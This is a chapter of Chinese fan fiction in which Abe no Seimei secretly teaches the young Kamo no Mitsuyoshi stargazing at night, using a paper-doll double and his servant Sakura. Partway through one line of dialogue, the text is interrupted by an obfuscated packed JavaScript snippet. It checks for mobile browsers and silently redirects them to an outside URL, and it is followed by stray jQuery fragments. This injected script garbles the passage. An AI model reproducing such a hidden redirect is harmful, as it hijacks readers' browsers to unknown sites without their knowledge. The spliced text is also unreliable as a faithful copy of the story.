“我、我可以吗?”贺茂光荣还有些不敢相信,而在看到晴明朝他微笑点头之后,他立刻便要跪伏下来:“晴明师傅!” 但晴明及时阻止了贺茂光荣的动作,不准许他跪拜,笑道:“我只教你观星,这一声‘师傅’当之有愧,你随其他人一样,叫我晴明大人就可以了。” “知道了,晴明大人。”贺茂光荣从善如流地改换了称呼,紧接着又为难地说道:“可是我每天都要做父亲大人安排的功课啊。” “这个嘛,就要辛苦你了。”晴明用折扇不轻不重地敲了敲贺茂光荣的脑袋:“夜里到我这里来,敢不敢?” 之所以问他敢不敢,自然是因为每天夜里都会有妖鬼出没了,即使其中的大多数是不害人的,但是夜里出行也同样是一件极其挑战胆量的事情。 “敢!”贺茂光荣叫起来:“我带着符咒呢,不怕它们!” “那就从今夜开始吧。”晴明啪地一声展开折扇,放在胸前慢慢摇着:“记着,这件事只能你知我知,不要被我师兄发现,不然的话……” 晴明忽然露出一个促狭的笑容:“我师兄面子上恐怕挂不住。” “我知道了。”贺茂光荣之前的沮丧已经一扫而空,他跳起身来朝晴明深鞠一躬:“请等着我,晴明大人!” 贺茂光荣一溜烟跑开了,晴明坐在原地望着他的背影,许久才微微一叹:“这孩子这样轻信于人,只怕也不是好事啊——樱。” “晴明大人。”原本空无一人的角落里忽然浮现出少女的身影,恭敬地朝晴明行礼。 “日落之前,你到我师兄的宅邸守着,若是见那孩子出来,就跟上去保护他,记得不要被他发现。”晴明淡淡地说,随后又拈起一块乳酪,放在口中细细嚼着。 61.观星测位 残月把它仅余的光辉洒落地面,但是,这么一点微末的光芒当然是不足以照亮黑夜的。 总有些角落是月光所顾及不到的,谁又知道那种地方隐藏着多少魑魅魍魉。 贺茂光荣一手提着灯笼,另一只手里攥着一把符咒,他一边谨慎地观察四周,一边慢慢地前行。 这还是他第一次在夜里独自出门,不过他很聪明地避开了百鬼夜行最兴盛的时间点。 不过这也导致了他出门的时间很晚,恐怕那位安倍晴明大人不会愿意等他到现在。 贺茂光荣沮丧地想着,加快了步伐。 从而也就没有注意到,他身后飘落了一瓣荼蘼的樱花。 说到底,贺茂光荣也不过是一个七岁的孩子罢了,即使性子被保宪打磨得冷静老成,也抵不过他年岁尚小的事实。 即使他天赋再好,也很难在这种数千种妖气驳杂的地方准确分辨出樱与其他妖鬼的区别,更何况他现在正处在无法静下心来的状况下。 当贺茂光荣气喘吁吁地赶到戾桥的时候,他听见一扇门吱呀一声响了,晴明正立在门前朝他微笑。 “晴、晴明大人,您知道我这个时间——”贺茂光荣气息不匀,断断续续地说道,还没说完就意识到自己问了一个蠢问题,连忙闭口不言。 晴明但笑不语,引领着贺茂光荣走进了庭院。 贺茂光荣上次来的时候就注意到了,这座宅院实际上戒备森严,不仅在宅院外布设了结界,而且庭院当中还设置了阵法。 结界和阵法的作用都是阻止不被欢迎的人闯进来,但这二者实现这作用的方式却大相径庭。 结界是第一道防线,结界的入口正是这座宅院的大门,只有征得此间主人安倍晴明的同意,并由安倍晴明亲自打开结界才能够进入庭院,而庭院中的阵法则是第二道防线。 这也正是樱时常等在宅院门前,引领客人穿过庭院的原因了,不懂阵法的人若是贸然走进庭院,很容易迷失其中,永远都走不出来。 贺茂光荣不是很明白晴明这样戒备的理由,谁会强行闯到一个阴阳师家里并对他造成威胁呢? 不过这种事也不是他该问的,所以他一句话也没多说,乖乖地跟在晴明身后。 在晴明的带领下,不过数十步就走到了庭院尽头,然而—— 抱厦里还坐着另一个“安倍晴明”。 那个“安倍晴明”懒懒地倚靠在抱厦旁的栏杆上,膝上放着本泛黄的书卷,他正借着灯笼的光慢悠悠地翻阅着,不过看他那副模样,显然是一点也没读进去。 “安倍晴明”听见贺茂光荣的脚步声,便抬起头,朝他微微一笑。 贺茂光荣下意识地又往带他进来的那个晴明身上望了一眼,好像是要确认他还在不在。 抱厦里的安倍晴明看到贺茂光荣的动作,低声笑了起来。 “现成真姿。”安倍晴明两根手指抵在唇前,念动咒语,贺茂光荣身边的那个晴明应声化作了纸人,飘落在地。 “我大概吓到你了,不过,我的侍女今晚恰好外出。”安倍晴明缓缓站起身来,走到贺茂光荣面前,含笑道:“我只能叫纸人去守门了。” “……”贺茂光荣没说话,俯身拾起地上的纸人,一眼也没多看就把纸人交还给了晴明。 “我师兄把你教得很好呀。”晴明自然是注意到了贺茂光荣不看纸人这一细节,他接过纸人揣进了怀里。 贺茂光荣是听说过晴明所施展的这种咒术的,只不过此前从未见过旁人使用这样的咒术,所以一开始显得惊讶。 刚才的纸人是晴明的化身,这个化身可以变作晴明的模样,并可以完成一些简单的命令,而要实现这一点,晴明就必须在纸人身上写下自己的真名。 这也就是贺茂光荣不肯看那个纸人的原因,对于阴阳师而言,真名暴露给外人是大忌,贺茂光荣绝不会有意去撞破一个阴阳师的真名。 但贺茂光荣完全不明白晴明为什么会做这种几乎等同于主动暴露自己真名的事,难道他会不知道保护真名的重要性吗? 晴明好似看穿了贺茂光荣的心思,他徐徐走出抱厦,到了庭院里,不疾不缓地说:“我的真名早就不是秘密了,任何一个认得我的人都叫得出我的真名。” “‘安倍晴明’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020453|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是我的真名。”晴明微微垂下头,与贺茂光荣对视,毫不隐讳地说:“所以,并没有隐瞒的必要。” “不过,这种话说出来,恐怕也没有人会相信吧。”晴明忽地一笑:“所以从某种程度而言,这名字反倒更安全些。” 安倍晴明的父亲安倍益材只是个普通人,当晴明出生的时候,他当然不可能未卜先知,预料到晴明未来会成为阴阳师,从而也就不可能想到为晴明另取一个真名。 “好了,闲聊也够多了,抓紧时间吧。”晴明仰起头望了望天色。 说着,晴明抬起一只手臂,手掌摊开在胸前,像是在感受夜风。 残月从云的掩映中漏出光亮,几乎把它的光芒悉数投注在了晴明身上,月白色的狩衣在月光之下仿佛闪烁着淡淡的荧光,好像星辰与月都在眷顾着他一样。 晴明在月光中微笑,就像是从传说中的高天原降临尘世的神明。 “星辰周转之道与万物生灭之道有所关联,若非如此,也就不能称之为‘观星测位’了。”晴明徐徐说道:“你过来,我教你先认清楚星辰。在这之后,再谈其他。” 时间流逝得很快,当天蒙蒙亮的时候,晴明以手掩口打了个哈欠,低声唤道:“樱。” “晴明大人。”樱悄然无声地从无人的角落里显现出身影。 “帮我送这孩子回去吧,不然的话,师兄那边恐怕不好交代。”晴明困倦地斜身躺下来,把脑袋枕在手臂上。 “是。”樱依言走上前去,唤醒了房间里安静睡着的贺茂光荣,后者还不是很清醒,不怎么情愿地从榻榻米上爬起来,揉着惺忪的睡眼。 “还是这样子可爱一点。”晴明咕哝着,很快睡了过去。 贺茂光荣到底还是个孩子,熬不得夜,昨晚没过多久便困得头一点一点的,晴明不忍见他这样,便叫他进房去睡了。 而为了帮贺茂光荣看着时间,晴明昨晚几乎一夜未眠,他既想让贺茂光荣多睡一会,又不希望他回去太晚从而被保宪发觉他昨晚外出。 不管怎么说,学习观星测位都不是一朝一夕的事,所以晴明并不着急,来日方长。